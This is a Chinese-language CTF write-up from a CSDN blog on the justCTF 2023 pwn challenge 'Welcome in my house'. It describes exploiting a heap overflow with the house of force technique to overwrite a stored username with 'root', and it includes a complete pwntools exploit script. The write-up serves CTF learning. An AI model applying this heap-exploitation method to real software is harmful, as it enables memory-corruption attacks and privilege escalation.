justctf 2023 pwn Welcome in my house

最新推荐文章于 2023-06-12 16:19:01 发布

z1r0.

最新推荐文章于 2023-06-12 16:19:01 发布

阅读量141

点赞数 1

分类专栏： wp 文章标签： pwn

本文链接：https://blog.csdn.net/zzq487782568/article/details/131135306

版权

wp 专栏收录该内容

45 篇文章 1 订阅

订阅专栏

文章描述了一个CTF挑战，其中涉及堆溢出漏洞。用户可以申请任意大小的空间，通过houseofforce技术修改adminchunk为root，从而获取flag。文章提供了利用这个漏洞的Python脚本，包括使用pwn库进行远程或本地连接，以及GDB调试步骤。

摘要由CSDN通过智能技术生成

justctf 2023 pwn Welcome in my house

在这里插入图片描述
堆溢出，可以申请任意大小的size，所以可以使用house of force

然后这里user需要为root才可以得到flag，user默认是admin并存放在一个chunk里，但是可以利用house of force申请到存放user的chunk那里，改成root，最后2即可得到flag

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './house'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = '>> '

dbgg()
r.sendlineafter(menu, '1')
r.sendlineafter('Enter username: ', 'z1r0')

p1 = b'root'.ljust(0x10, b'\x00') + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
r.sendlineafter('Enter password: ', p1)

r.sendlineafter('Enter disk space: \n', str(-0xa0))
r.sendlineafter(menu, '2')

r.interactive()